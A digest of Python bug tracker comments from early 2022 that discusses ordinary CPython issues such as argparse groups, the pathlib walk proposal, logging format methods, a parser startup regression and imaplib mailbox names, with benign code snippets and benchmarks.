I think that the man page should contain all details related to the CLI (and may be even some examples).

Message-ID: <1641037758.76.0.0941852279981.issue46181@roundup.psfhosted.org>
E. Paine <xepaine13 at gmail.com> added the comment:
Reproduced using Wish built from the current Tk head (on Windows - I'm unable to reproduce on Linux).
---
Strangely, invoking destroy in the trace callback raises a very strange error that appears to be missing the first two lines (tkinter may be hiding this error since it's a Tcl error occurring after the callback has completed?):
while executing
"$cb current $index"
(procedure "SelectEntry" line 2)
invoked from within
"SelectEntry $cb [lindex $selection 0]"
(procedure "LBSelect" line 5)
invoked from within
"LBSelect $lb"
(procedure "ttk::combobox::LBSelected" line 3)
invoked from within
"ttk::combobox::LBSelected .c.popdown.f.l "
(command bound to event)
As stated above, however, the issue with focussing can be reproduced in Wish, by simply using `after`:
proc changed {name1 name2 op} {
puts changed
trace remove variable cvar write changed
pack forget .c
after idle {destroy .c}
}
pack [ttk::combobox .c -textvariable cvar -values {1 2}]
pack [ttk::entry .e]
trace add variable cvar write changed

Subject: [issue46220] imaplib.py "select" mailbox names containing spaces.
Message-ID: <1641042503.75.0.727332704149.issue46220@roundup.psfhosted.org>
New submission from Matthew H. McKenzie <github1 at swellhunter.org>:
A mailbox (folder) need not be for a recipient and need not be the private part of an RFC2822 address.
Passing a value of "000 Bookings" to select() results in validation issues when the tokens are parsed as arguments and there are too many.
It would be a nice-to-have to accept spaces in the name.
Workaround is for a rule to be applied by a desktop email client such as Evolution to move it from the INBOX upon discovery according to filter criteria.

Subject: [issue46221] Simplify except* implementation and move helpers to
exceptions.c
Message-ID: <1641045547.05.0.955654567857.issue46221@roundup.psfhosted.org>
New submission from Irit Katriel <iritkatriel at gmail.com>:
Following issue45711, the implementation of except* can be simplified - we do not need to use POP_EXCEPT_AND_RERAISE to reraise the exception calculated by PREP_RERAISE_STAR, we can instead
1. Make PREP_RERAISE_STAR not push a dummy lasti to the stack.
2. USE ROT_TWO + POP_EXCEPT + RERAISE.
While I'm there, I will move the PREP_RERAISE_STAR helper functions (do_reraise_star etc) to exceptions.c.

Stefan Behnel <stefan_ml at behnel.de> added the comment:
I'd like to ask for clarification regarding issue 45321, which adds the missing error constants to the `expat` module. I consider those new features ? it seems inappropriate to add new module constants in the middle of a release series. However, in this ticket here, the libexpat version was updated all the way back to Py3.6, to solve a security issue.
Should we also backport the error constants then?

libpython is crashing httpd a few times a minute for me, and I definitely was not seeing this with Fedora 34. I have Python 3.10.1 on F35, and had 3.9.9 on F34.
If there's any further information I can provide, I'd be happy to help.

Question about the implementation:
I?ve found the parsing of command-line params in Python/initconfig.c and Python/preconfig.c.
Help is handled in initconfig, X options in preconfig.
A) could add a value to the right struct for "-X help", set it in preconfig, handle it in initconfig (by printing X options help and exiting, maybe reusing the existing print help function or writing a very similar one next to it)
B) or detect the option in preconfig, print and exit right there
Which option is best?

I think most of these are false positives (it?s fine if 10 different tests define a function `f`), so should not be changed just to appease a lint tool. Others are genuine!

Andrei Kulakov <andrei.avk at gmail.com> added the comment:
More generally, split()/rsplit() are probably the most common operations done on expected string at the start of a function, i.e. most likely to be triggered on the wrong type passed in. At the same time to many new users split()/rsplit() does not imply anything related to strings, and 'split' sounds too generic to expect explanatory results from google search. (although the first few results do point to the right explanation, and rsplit does seem like something that would return helpful search results).
I wonder if it would be helpful, especially for .split() (and rsplit for consistency), to add to the error msg: "... it's likely that a string object was expected instead of <type> object".

FWIW, gmpy2 uses isqrt_rem. Of course, gmpy2 uses underscores a lot. And uses next_toward instead of nextafter, and copy_sign instead of copysign, and is_nan instead of isnan... :(
I would keep the math module consistent and use isqrtrem.
I'll look at adding aliases to remain consistent with the math module.

Subject: [issue46186] replace `io.IncrementalNewlineDecoder` with non
incremental newline decoders
In-Reply-To: <1640628066.96.0.973649532824.issue46186@roundup.psfhosted.org>
Message-ID: <1641069248.69.0.0508248320378.issue46186@roundup.psfhosted.org>
Guo Ci Teo <zguoci at gmail.com> added the comment:
Some uses of the `decode` method of `io.IncrementalNewlineDecoder` were incorrect without the `final=True` argument.
One way to fix it would be to add the `final=True` in all cases.
But the incremental decoding feature is not used, so I decided to replace it with stateless non-incremental newline decoders.

I searched around and didn't find any good treatise or thorough overview of reasons _why_ docstrings should be preferred, so I performed an internal deconstruction of my motivations and published [this article](https://blog.jaraco.com/why-docstrings-are-preferable-to-comments/) on my blog.

Barney Gale <barney.gale at gmail.com> added the comment:
It's possible to do, but will be a little slow due to the nature of tar files. They're a big linked list of files, so you need to do a bunch of reads/seeks from the start to the end to enumerate all files.
I'd ask that we try to get issue24132 solved first. That would let us write:
# tarfile.py
class Path(pathlib.AbstractPath):
def iterdir(self):
...
def stat(self):
...
We'd fill in a smallish number of abstract methods to get a full `Path`-compatible class with `read_text()`, `is_symlink()` etc methods.

Tim Peters <tim at python.org> added the comment:
Nope, boosting the window size to 6 doesn't appear to really help at all, at least not on my box. Regardless of the window size, we have to do a bigint square for every bit position in the exponent. I don't know of any way to speed that (short of speeding multiplication, and we already make a special case of squaring).
So that dominates. Even for an exponent of a million solid 1-bits, the overall timing difference appears insignificant.
So I cut the window size back to 5 bits again. That has the benefit of cutting the old table size in half, which also cuts the precomputation time to fill it about in half, which should have some minor benefit for saner (smaller) exponents.
As a sanity check, I also tried cutting the window size to 3 bits. That had an obvious bad timing impact on huge exponents of solid 1 bits.

I'd recommend not to block on issue24132. It's not obvious to me that subclassing would be valuable. It depends on how it's implemented, but in my experience, zipfile.Path doesn't and cannot implement the full interface of pathlib.Path. Instead zipfile.Path attempts to implement a protocol. At the time, the protocol was undefined, but now there exists importlib.resources.abc.Traversable (https://docs.python.org/3/library/importlib.html#importlib.abc.Traversable), the interface needed by importlib.resources. I'd honestly just create a standalone class, see if it can implement Traversable, and only then consider if it should implement a more complicated interface (such as something with symlink support or perhaps even later subclassing from pathlib.Path).

If you're only aiming for Traversable compatibility, sure.
The original bug description asks for something that's pathlib-compatible and similar to zipfile.Path, which goes beyond the Traversable interface in attempting to emulate pathlib.Path.
The pathlib.Path interface is a good one - I see no reason it can't apply to zip and tar archives in full. Methods of Path objects already raise NotImplementedError if operations aren't supported (e.g. creating symlinks)
Some prototyping from a couple years back, including a tar path implementation: https://github.com/barneygale/pathlab/tree/master/pathlab

behave inconsitently

Message-ID: <1641088348.64.0.252590595196.issue46058@roundup.psfhosted.org>
paul j3 <ajipanca at gmail.com> added the comment:
At least until these latest deprecations, the only nesting that made sense was to put a mutually_exclusive_group inside an argument_group. This was a way of providing a title and description for the exclusive_group. (And not documented.) I don't know if that's still possible.
'required' only makes sense for the exclusive_group. I don't know what happens when one tries to give it to an argument_group. If it doesn't raise an error, I expect it to be ignored.
argument_groups are only used for help formatting; they have no role in parsing. exclusive_groups are primarily a parsing checking tool. Usage formatting tries to display exclusive groups, but is easily broken.
While mutually_exclusive_group is a subclass of argument_group (and that in turn a subclass of argument_container), very little usage or behavior is inherited. Don't expect any consistency.
A key point, that is easily lost, is that all groups share the _actions list with the parser. When an argument is added a group (either kind), it is, in effect, added to the parser's _actions list. So when parsing, there's only one list of Actions.
A group will also keep the Action in its own _group_actions list, which is used for formatting or for exclusive checking. But otherwise the _group_actions list not used for parsing.
Another point, is that there are 2 default argument_groups. Thus every Action is in an _group_actions list. If an exclusive_group is not nested in an argument_group, its Actions will be added to one of the defaults (optionals or positionals).

Tim Peters <tim at python.org> added the comment:
Since cutting the window size by 1 cut the size of the dynamic precomputed table in half, the overhead of the sliding window method was correspondingly reduced. It can pay off at exponents of half the bit length now, so that threshold was also changed.

Message-ID: <1641089541.08.0.302269492527.issue46057@roundup.psfhosted.org>
paul j3 <ajipanca at gmail.com> added the comment:
Don't add an argument_group to another argument_group. While input allows this nesting, the formatting is not designed to handle it. Nor does the documentation illustrate such nesting.
Nesting a mutually_exclusive_group in an argument_group works because the exclusive_group is not used in formatting the help lines. The two class of groups have very different purposes.
Note that the add_argument_group() method is defined for the parent _ActionsContainer class. ArgumentParser inherits from this, as do both of the group classes. While one could make a case for changing the group's inheritance of this method to Not-implemented, it's only a problem when users, like you, try to push for undocumented usage.
In general argparse has a clean and powerful class structure. But it doesn't do a lot of checking and pruning, so there loose ends like this. The Action class and its subclasses is similarly powerful, with enough loose ends to allow adventurous users to hang themselves :).

Happy new year, potentially-toml-wanting friends!
I wrote up a draft of a proposal here: https://gist.github.com/hauntsaninja/9f136a5a60f63d8ca2cdfadb50edba44
I've passed it along to hukkin (author of tomli) for feedback. Once they reply, I'll send it to python-dev and the deluge of comments can get underway. If in the meantime anyone else has thoughts, I'd love to hear from you.

pradyunsg kindly pointed me to an ongoing thread in Packaging discuss: https://discuss.python.org/t/adopting-recommending-a-toml-parser/4068/84
So seems like a PEP will be necessary. I'm happy to do legwork for that. (The PEP that I'll write differs from YakoYakoYokuYoku's json-esque draft in that it'll be based on tomli instead of a from-scratch implementation)

Message-ID: <1641113214.66.0.510722542802.issue46224@roundup.psfhosted.org>
New submission from Sardorbek Imomaliev <imomaliev at hey.com>:
Currently, in `bisect` examples `grade` function is declared with mutable default for `breakpoints` arugment. I suggest updating.
https://github.com/sweeneyde commented
> I would say that even though using mutable defaults is often undesirable, there is no problem with it in this case: the body of the function does not mutate the default. It's also probably faster than re-constructing a new list at each function call. I would suggest opening an issue on https://bugs.python.org/ if you want to discuss more.
I agree that in this case it wouldn't matter because `breakpoints` are not mutated, but most of the time people copy from examples and adapt the code to their needs without giving it a second thought. In my opinion, it is a good practice to provide examples as foolproof as possible.

I don't think I'm adventurous as I try to use its public API. If something is public in the pythonic terms (no underscore before it), but undocumented, that can obviously mean two things: either the documentation is outdated or the API published something it shouldn't.
As I wrote in issue 46058 - which is the same issue as this because of the implementation in argparse.py - I tried to create a group hierarchy in a way that I can pass the responsibility of argument validation to the argument parser. I don't think the good practice is to reimplement the same behavior again and again in dozens of Python programs if it is something that could be handled in an argument parser. My original intent was to provide patch or patches fixing the issue but with the deprecation in issue 22047 this became pointless.
There were a few other opened issues indicating I'm not alone with this expectation.

FYI, I'm maintaining a rebased version on my fork:
https://github.com/erlend-aasland/cpython/tree/sqlite-blob
Here's the changes I've applied upon PR 271:
- Use Argument Clinic
- Convert to heap types
- Adopt new CPython C APIs (Py_NewRef, Py_Is*, new slice API, etc.)
- Lint code (PEP 7, use CPython idioms, normalise variable and helper namings)
- Lint docs
- Normalise error messages
- Refactor very large functions, apply simplifications, and remove unneeded code
- Expand test suite to increase code coverage
I don't think it is ready for inclusion yet; the test suite needs to be restructured, or maybe rewritten from scratch. Pr. now most of the tests maintain a single connection with a prepared database. IMO, it's a fragile design and it is hard to read, debug, and verify the test code. I'll see if I can get to it in a couple of weeks.

Message-ID: <1641127024.47.0.123886804106.issue46200@roundup.psfhosted.org>
Arie Bovenberg <a.c.bovenberg at gmail.com> added the comment:
I've done some more digging, and have read the related issue bpo-30995.
There are IMHO two challenges that are worth tackling:
1. A great number[1] of developers do their own string formatting.
This is sub-optimal for performance and - in rare cases -
leaves them potentially vulnerable to attack
(DoS through a string formatting attack).
We cannot prohibit this without breaking backwards compatibility:
https://docs.python.org/3/howto/logging.html#using-arbitrary-objects-as-messages.
2. The logging cookbook has several mechanisms for new-style formatting,
but because these do not ship with the stdlib,
the vast majority[2] of programmers don't use them.
We can solve both issues with a new family of `Logger` methods.
The debug one shown below:
def debugf(self, msg: Literal[str], *args, exc_info=False, **kwargs):
"""
Log 'msg.format(*args, **kwargs)' with severity 'DEBUG'.
To pass exception information, use the keyword argument exc_info with
a true value, e.g.
logger.debugf("Houston, we have a {}", "thorny problem", exc_info=1)
"""
if self.isEnabledFor(DEBUG):
# `BraceMessage` from the logging cookbook.
self._log(DEBUG, BraceMessage(msg, args, kwargs), exc_info=exc_info)
Advantages of this approach:
- It's mostly the existing work of @vinay.sajip. It's Idiomatic and proven to work.
- No change to existing methods or loggers. Fully backwards compatible.
- Protection against string formatting attack at the type level (thanks to PEP675).
Everyone with an IDE will get warned about unsafe use.
- Embed correct use of log formatting at type level.
- People will stop complaining about the `%`-style,
now that there is an easy way to use new-style formatting in the stdlib.
The disadvantage of course is an extra set of logging methods. However:
- An `f` suffix for string formatting operations is common (e.g. `printf`)
- It's visually similar to f-strings, thus straightforward to comprehend.
Compare `debug(f"hello ...` and `debugf("hello ...`.
- It's explicit. The method logs _and_ formats.
Sources:
[1] On GitHub code search, `logger` gets 8M results.
`logger` `format` gets almost 4M results, of which about half
are actually instances of logging `.format()` strings.
f-strings are not even included in this search, and probably used
very frequently as well.
(https://github.com/search?l=Python&p=2&q=logger+format&type=Code)
[2] There are <1000 instances of `StyleAdapter`, `BraceMessage` in GitHub code search,
while `getLogger` gets almost 5M results.

Subject: [issue46225] f_lasti behaves differently for lambdas returned from
loops
Message-ID: <1641131109.09.0.64467004573.issue46225@roundup.psfhosted.org>
New submission from Ned Batchelder <ned at nedbatchelder.com>:
Python 3.11.0a3 changed how f_lasti behaves when calling a function in some
situations.
This example shows returning a lambda from a function. If the lambda is
returned in a loop, then frame.f_lasti is 0 when it is called. If the lambda
is not in a loop, then f_lasti is -1, as is usual when calling a function.
This behavior first appeared in 3.11.0a3.
---< showit.py >--------------------------------------------------
import linecache, sys
def trace(frame, event, arg):
# The weird globals here is to avoid a NameError on shutdown...
if frame.f_code.co_filename == globals().get("__file__"):
if event != "line":
lineno = frame.f_lineno
lasti = f"lasti {frame.f_lasti}" if event == "call" else ""
line = linecache.getline(__file__, lineno).rstrip()
print("{} {} {:10}: {}".format(event[:4], lineno, lasti, line))
return trace
print(sys.version)
sys.settrace(trace)
def run1():
for i in range(1):
return lambda: i
def run2():
return lambda: 99
f = run1()
print(f())
f = run2()

Also, this only happens with a Python trace function. With a C trace function, pPyFrameObject->f_frame->f_lasti is -1.

A long time ago, Python documentation used true and false as adjectives (as opposed to True and False, which are proper names for canonical true/false objects). I think it was BDFL's preference back then.
In the meantime, I suppose through JS's influence, Python documentation started to adopt ancient Perl terminology, where truhy and falsy were used as adjectives standing for what was previously known as true and false. I really don't like it, and I think English language is clear enough here (given the help of code font and capital letter) that we don't need to invent new words. Of course, it is up to the community to decide (and maybe the steering council might issue an opinion), but I'm telling you the history and my preference.

Eric V. Smith <eric at trueblade.com> added the comment:
I think there's definitely room for improvement here, and at face value I like the debugf() functions. __format__ style formatting solves a big problem for me: being able to provide format strings for timestamps.
One thing: I'd be careful about saying that delayed formatting is always a performance win. f-strings are so much faster, that if I'm reasonable sure a message is always going to get logged, I'll use an f-string. In my case, I never log any user-supplied data, although it's obviously a risk that should be warned against.

Arie Bovenberg <a.c.bovenberg at gmail.com> added the comment:
Indeed the `__format__` style offers a lot more options (see https://pyformat.info/).
Regarding performance you make an interesting point.
One possible solution is to allow f-strings _only_ if there are no args/kwargs.
In that one case formatting would explicitly be skipped.
This could be represented at type-level with an overload:
# case: Logger does formatting. Only literal string template allowed.
@overload
def debugf(msg: Literal[str], *args, exc_info: bool = False, **kwargs):
# wrap
# case: User does formatting. No args/kwargs allowed.
@overload
def debugf(msg: str, *, exc_info: bool = False):
# wrap `msg` in something that will not allow further formatting.

Message-ID: <1641143588.09.0.0658438943586.issue46226@roundup.psfhosted.org>
New submission from Aleksandr Krymskiy <alex at krymskiy.net>:
Installed Python 3.10.1 using Windows 64-bit installer from python.org. Upon examining the PATH environment variables I noticed that my local user paths (C:\Users\avk\AppData\...) have been added to the System-level PATH variable instead of User level, which can cause problems on multi-user systems, since users other than mine will now have these paths in their environment causing them to potentially try to execute code from unexpected location that they should not even have access too. User paths should be added to User specific PATH environment variable and only global (C:\Program Files\Python310\...) kept in the System scope by the installer. Please see my screenshot - the highlighted should be moved to User scoped PATH var.

New submission from Stanislav Zmiev <szmiev2000 at gmail.com>:
Pathlib is great, yet every time I have to parse a bunch of files, I have to use os.walk and join paths by hand. That's not a lot of code but I feel like pathlib should have higher-level abstractions for all path-related functionality of os. I propose we add a Path.walk method that could look like this:
def walk(self, topdown=True, onerror=None, followlinks=False):
for root, dirs, files in self._accessor.walk(
self,
topdown=topdown,
onerror=onerror,
followlinks=followlinks
):
root_path = Path(root)
yield (
root_path,
[root_path._make_child_relpath(dir_) for dir_ in dirs],
[root_path._make_child_relpath(file) for file in files],
)
Note: this version does not handle a situation when top does not exist (similar to os.walk that also doesn't handle it and just returns an empty generator)

Some people could suggest using Path.glob instead but I found it to be less convenient for some use cases and generally slower (~2.7 times slower).

Subject: [issue46228] argparse docs: default for prog= in ArgumentParser()
should be basename of argv[0], not argv[0], to match behaviour
Message-ID: <1641153038.74.0.113301629042.issue46228@roundup.psfhosted.org>
New submission from Jade Lovelace <software at lfcode.ca>:
Currently the documentation for argparse.ArgumentParser states that the default value of the prog[ram] argument is argv[0], however, this does not match the actual behaviour of the constructor. In reality, the constructor uses the basename of argv[0], as can be seen in the code here: https://github.com/python/cpython/blob/e800dd1793dafbc4114da744f605731ff6630623/Lib/argparse.py#L1733-L1735
Here is a demo:
/tmp ? cat test.py
import argparse
ap = argparse.ArgumentParser()
print(ap.prog)
ap.print_usage()
/tmp ? python test.py
test.py
usage: test.py [-h]
/tmp ? python ./test.py
test.py
usage: test.py [-h]
/tmp ? mkdir test
/tmp ? cd test
/tmp/test ? python ../test.py
test.py
usage: test.py [-h]

I'm going to decline this one. It seems that you're applying a stylistic guideline to a case where it isn't needed and where it doesn't improve the example.
In this case, the example doesn't mutate the input, so the code is correct. It has some benefit in that it communicates to the user of the function that lists are allowable as an input (which is the norm for bisect). And the tooltips will show the relationship between the grades can the cutpoints.
Also, this isn't library code. A bisect example needs to focus on bisect rather than other concerns. This isn't the place to talk about the pattern of setting a default to None and then filling it in in the body of the code. Likewise, we wouldn't use this example to communicate / and * for positional-only and keyword-only args. Nor do we have a docstring or type signature. Instead, it shows how to write a lookup function using bisect() and that is all we want.
Lastly, I'll note this example has been present for a long time and has proven itself effective in teaching people how bisect works. In particular, we want to make it obvious the relationship between the 5 grades and the 4 cut points.

Subject: [issue46229] CODE_OF_CONDUCT shadowing org default
Message-ID: <1641155116.49.0.691257397106.issue46229@roundup.psfhosted.org>
New submission from Nikita Sobolev <mail at sobolevn.me>:
Problem: we have two CODE_OF_CONDUCT files.
1. In CPython: https://github.com/python/cpython/blob/main/CODE_OF_CONDUCT.md (last updated 3 years ago)
2. In Python org, default for all repos: https://github.com/python/.github/blob/master/CODE_OF_CONDUCT.md
But, since CODE_OF_CONDUCT is an important document, I want to raise a discussion first. Should it be deleted from CPython repo?
Pros: GitHub offers org-default and CODE_OF_CONDUCT will still be rendered in several places:
- https://user-images.githubusercontent.com/4660275/147888475-f1bc5e79-078b-4ec7-9484-53b90373c3c9.png
- https://user-images.githubusercontent.com/4660275/147888477-35c98df8-2730-4d9b-a568-76b6b46da015.png
It will be also easier to edit a single-source-of-truth. For example, this commit was not back-ported to CPython: https://github.com/python/.github/commit/237d2151f18380c8146557febfe5858fe3f23232
Also, other repos like mypy / typeshed / typing use org-default CoC.
Cons: some people might still miss that CPython has a CoC.
This is a follow-up to: https://github.com/python/cpython/pull/30294
If others agree, I can send a PR to remove CPython's local copy of CoC.

Ugh, that's quite bad. We measured performance impact in general and that was quite acceptable but seems that for startup this is quite sensitive :(
There isn't many other ways we can do this that I can think of unfortunately, so we need to make a decision on what we care most here, unless someone has a better idea on how we can overcome the recursion problem.
Adding Guido and Eric as they gave been working on startup quite a lot.

Hi Mike, "patch review" means:
"A patch or pull request exists, but it needs review. Any triager or core developer may do the review."
https://devguide.python.org/triaging/#stage
So we were waiting for someone to review patches listed above under the "Files" section (eg. issue4849_2.patch).
But seeing as they're from 2012/2014, and development has now moved to GitHub, a pull request needs to be opened on GitHub instead.
So I reckon you're good to go ahead and create a PR.

Guido, Eric, what are your thoughts here?
The fix that I merged works by limiting the maximum recursion but seems that incrementing the recursion counter on every parser call makes quite a lot of impact on startup.
Unfortunately if we revert the fix, we still have the problem that Python can segfault for certain inputs that overload the stack.

It could be used that way, but generally isn't.
Please consider my original request. Adding a keyword argument is easy, clear, and has almost no mental overhead.
It reads very well in code, `y = isqrt(x, 'ceil')` or `y = isqrt(x, 'round')`. The equivalents with isqrt_rem are awkward and don't read well (reminding me of my Fortran days).

Absolutely! There is no rush as the only close release IIRC is another alpha of 3.11.

I don't think this is a door we should open:
>>> Fraction(3.5, 2.5)
Fraction(7, 5)
This currently raises a useful exception:
TypeError: both arguments should be Rational instances
That is especially helpful in avoiding cases like this:
>>> Fraction(1.1, 3.3)
Fraction(2476979795053773, 7430939385161318)
If that output is desired, the two conversions should be explicit.
>>> Fraction(1.1) / Fraction(3.3)
Fraction(2476979795053773, 7430939385161318
I recommend rejecting this feature request as being more likely to be hazardous than helpful.

Subject: [issue46232] Client certificates with UniqueIdentifier in the subject
break ssl.peer_certificate()
Message-ID: <1641160999.16.0.149653140984.issue46232@roundup.psfhosted.org>
New submission from Kacper <kacper at kacper.se>:
Currently all subject sets of a client certificate are treated as UTF8 strings using the ASN1_STRING_to_UTF8 function (https://github.com/python/cpython/blob/8d999cbf4adea053be6dbb612b9844635c4dfb8e/Modules/_ssl.c#L912), however RFC 5280 states that the UniqueIdentifier is of type BIT STRING. Passing a BIT STRING into the ASN1_STRING_to_UTF8 function seems to return -1 and subsequently fail a SSL handshake.

So if I understand the speed.python.org results correctly, the time to run `python -c pass` went way up, but the time for `python -S -c pass` did not go up significantly.
Unfortunately the only machine I have access to is a Mac, and I cannot repro this result, using PGO/LTO. Could it be a Linux thing? Or due to something in the venv for pyperformance?
Note that I am using a much simpler test script: Tools/scripts/startuptime.py. I have not yet succeeded in building and running pyperformance, mostly since the Python I build doesn't have SSL configured (I always forget the flag to use on my machine) and pyperformance insists on installing a bunch of stuff (including new versions of pip and setuptools, it seels).
Can anyone repro the perf regression on their box?

Message-ID: <1641163706.78.0.392911165646.issue46233@roundup.psfhosted.org>
New submission from Tim Peters <tim at python.org>:
longobject.c's x_mul()'s special code for squaring gets kind of sloppy at the end of a digit pass, doing a useless add of 0 and an "extra" test for carry. Easily cleaned up.
I think the underlying cause is that the HAC algorithm description it was modeled on was quite "hand wavy" about how badly, and exactly when, the carry can exceed a single digit. Things are better-behaved at the end of a digit pass.

Maybe it's Linux specific? I managed to run pyperformance and got this:
### python_startup ###
Mean +- std dev: 23.2 ms +- 0.8 ms -> 23.4 ms +- 1.2 ms: 1.01x slower
Not significant
Note, I am not dismissing the report -- in fact it looks quite bad. But I am failing to reproduce it, which makes it harder to understand the root cause. :-(
Maybe we can create a microbenchmark for this that just parses a large amount of code?
Anyway, here's a random thought about why this might have such a big impact. Look at this snippet (found all over the parser.c file):
if (p->level++ == MAXSTACK) {
p->error_indicator = 1;
PyErr_NoMemory();
}
if (p->error_indicator) {
p->level--;
return NULL;
}
This is two "unlikely" branches in a row, and the first sets the variable tested by the second. Maybe this causes the processor to stall?
Also, maybe it would be wiser to use ++X instead of X++? (Though a good compiler would just change X++ == Y into ++X == Y+1.)
Anyway, without a way to reproduce, there's not much that can be done.

I went ahead and auto-backported the full PR to 3.9 and 3.8 since it applies cleanly there and did a manual backport of just the sidebar changes to 3.7 and 3.6 (added in the final merge before EOL). Now just awaiting @ambv approval for 3.8.
For reference, compare old vs new "Docs by version" sidebar on the index pages:

Message-ID: <1641167394.3.0.171569418195.issue46235@roundup.psfhosted.org>
New submission from Dennis Sweeney <sweeney.dennis650 at gmail.com>:
Some benchmarks for this change are below. The case with the largest speedup, `[None] * 10000`, is the case that I would consider the most important: initializing counters of the form `[0] * N` is very common in my experience.
The following were taken from a PGO build on Windows without CPU isolation, so take them with a grain of salt:
Slower (16):
- [None] * 2: 61.6 ns +- 3.3 ns -> 71.0 ns +- 1.5 ns: 1.15x slower
- list(range(10)) * 10000: 205 us +- 49 us -> 232 us +- 93 us: 1.13x slower
- ["Python", "Perl"] * 10000: 31.4 us +- 4.3 us -> 34.4 us +- 0.2 us: 1.10x slower
- list(range(100)) * 2: 370 ns +- 12 ns -> 395 ns +- 14 ns: 1.07x slower
- list(range(10)) * 2: 81.5 ns +- 2.8 ns -> 86.9 ns +- 2.4 ns: 1.07x slower
- [None] * 10: 72.3 ns +- 2.2 ns -> 75.8 ns +- 2.1 ns: 1.05x slower
- ["Python", "Perl"] * 100: 442 ns +- 67 ns -> 463 ns +- 4 ns: 1.05x slower
- tuple(range(10)) * 2: 88.2 ns +- 2.9 ns -> 91.9 ns +- 2.7 ns: 1.04x slower
- ("Python", "Perl") * 10: 92.6 ns +- 7.8 ns -> 96.0 ns +- 4.5 ns: 1.04x slower
- ["Python", "Perl"] * 10: 86.1 ns +- 4.2 ns -> 89.1 ns +- 2.7 ns: 1.04x slower
- (None,) * 10: 69.4 ns +- 1.9 ns -> 71.2 ns +- 3.1 ns: 1.03x slower
- ["Python", "Perl"] * 2: 63.9 ns +- 2.6 ns -> 65.3 ns +- 1.4 ns: 1.02x slower
- (None,) * 2: 54.0 ns +- 0.7 ns -> 55.1 ns +- 2.1 ns: 1.02x slower
- ("Python", "Perl") * 2: 57.5 ns +- 3.0 ns -> 58.6 ns +- 2.4 ns: 1.02x slower

- tuple(range(100)) * 2: 414 ns +- 19 ns -> 420 ns +- 6 ns: 1.02x slower
Faster (22):
- [None] * 10000: 25.1 us +- 0.2 us -> 12.8 us +- 0.2 us: 1.97x faster
- tuple(range(10)) * 10000: 255 us +- 91 us -> 176 us +- 77 us: 1.45x faster
- tuple(range(1000)) * 10: 17.8 us +- 0.3 us -> 12.4 us +- 0.1 us: 1.44x faster
- [None] * 100: 355 ns +- 11 ns -> 251 ns +- 7 ns: 1.41x faster
- list(range(1000)) * 10: 16.8 us +- 0.2 us -> 12.5 us +- 0.1 us: 1.34x faster
- tuple(range(100)) * 100: 15.9 us +- 0.2 us -> 12.7 us +- 0.2 us: 1.26x faster

Subject: [issue46236] PyFunction_GetAnnotations returning Tuple vs Dict
Message-ID: <1641179765.03.0.33069763826.issue46236@roundup.psfhosted.org>
New submission from Daniel McCarney <daniel at binaryparadox.net>:
Hi there,
This is my first Python bug, hope I haven't missed anything important.
I noticed that the PyFunction_GetAnnotations function from the C API is returning a PyTuple when I link Python 3.10 where historically it returned a PyDict.
The documentation for PyFunction_GetAnnotations for 3.10 (here[0]) says its return can be:
> a mutable dictionary or NULL
I'm not sure if:
* This is user error and I should adapt to this case in my dependent code when using Python 3.10+.
* This is a documentation error, and it should say "a mutable dictionary, set, or NULL"
* This is a regression in the C API that should be fixed.
I've made a small reproduction program (here[1]) that can be used to quickly demonstrate the difference in return type between the two Python versions for the same C program and .py inputs.
I also noticed that issue42202 (here[2]) landed an optimization in 3.10.x that changed the internal representation of annotations to a set - could that possibly be related? I'm not 100% sure!
Thanks!

Very unlikely, it happened on two separate machines with different distributions and nothing was updated in the machines that I can see.
Both use a configuration file for pyperformance that looks like this:
-------------
$ cat bench.conf
[config]
json_dir = ~/json_cron
[scm]
repo_dir = ~/cpython_cron
update = True
remote = origin
[compile]
lto = True
pgo = True
bench_dir = ~/bench_tmpdir_cron
[run_benchmark]
system_tune = True
upload = False
[upload]
url = https://speed.python.org/
environment = speed-python
executable = lto-pgo
project = CPython
[compile_all]
[compile_all_revisions]
COMMIT_SHA=master

I believe this change accidentally affected the API of PyFunction_GetAnnotations: previously it would only return dict or NULL, now it can also return a tuple. See bpo-46236

Ned Deily <nad at python.org> added the comment:
Thanks, Ronald, for tracking down the NSAppleEventsUsageDescription requirement!
The PR here solves two problems encountered by users of the macOS Python Launcher app on recent macOS releases (10.14+):
1. The launcher app was no longer able to launch the macOS Terminal.app to run a script.
2. Even if Terminal.app was already launched, the launcher app was unable to send an Apple Event to Terminal.app to open and run Python with the desired .py file.
The solution to item 1 was to no longer specify an absolute path to Terminal.app but rather let LaunchServices figure out the path.
Item 2 was fixed by adding the NSAppleEventsUsageDescription key to the launcher app's property list. The first time the launcher runs, macOS displays a message to the user requesting permission to use Apple events; if granted by the user, the launcher will now be able to send open events to Terminal.app and all is well.
Tested on the most recent releases of macOS 12, 11, 10.16, 10.15, 10.14, and 10.9 and on both Intel and Apple Silicon Macs.
Merged for release in 3.9.10, 3.10.2, and 3.11.0a4.

Thanks for the report. Alas, there haven't been any other reports of similar behavior that I am aware of and, without more information, I am unable to reproduce it with the current 3.9 branch. So I am going to close this issue. Feel free to re-open it and provide more detail on exactly how to reproduce the failure if this is still a problem.

I started looking at this issue.
I may need to propagate the change (adding dir_fd as a keyword argument) to multiple functions in posixpath module: Functions like abspath, join, isdir, etc. The alternative will be to have the logic in tempfile module which feels off to me.
Does anyone have an issue with that ?

There are other issues with the documentation of splitext().
1. It uses term "extension" (it is even a part of function name), but it is vague and usually does not include a period. On Windows the extension of "python.exe" is "exe", not ".exe". On Unix term "suffix" is commonly used, ".exe" is a suffix. It is also used in pathlib. I suggest to replace "extension" with "suffix".
2. It is not specified that only the part of the last path component is included in the suffix, and leading periods of the last path component are ignored, not just leading periods of the path. So splitext('mail.dir/') == ('mail.dir/', '') and splitext('/home/user/.etc') is ('/home/user/.etc', ''). It is not documented that splitext() works with multi-component paths at all.

Message-ID: <1641201442.54.0.841372993832.issue46238@roundup.psfhosted.org>
New submission from Nikita Sobolev <mail at sobolevn.me>:
There are several problems in https://github.com/python/cpython/blob/549e62827262264cda30455e10e315602129da72/Lib/asyncio/windows_events.py#L31-L32
1. For some reason this module uses both `NULL` and `_winapi.NULL`, `INFINITE` and `_winapi.INFINITE`. There's no system to it. Besides, they are have equal values. I think it better to use aliases to `_winapi` constants than redefine them
2. Here https://github.com/python/cpython/blob/549e62827262264cda30455e10e315602129da72/Lib/asyncio/windows_events.py#L408 `INFINITE` is not used, but should. It would increase readability. Compare:
- `def __init__(self, concurrency=0xffffffff):` < not clear
- `def __init__(self, concurrency=INFINITE):` < clear
The PR is on its way.

Message-ID: <1641203899.54.0.98561784339.issue46239@roundup.psfhosted.org>
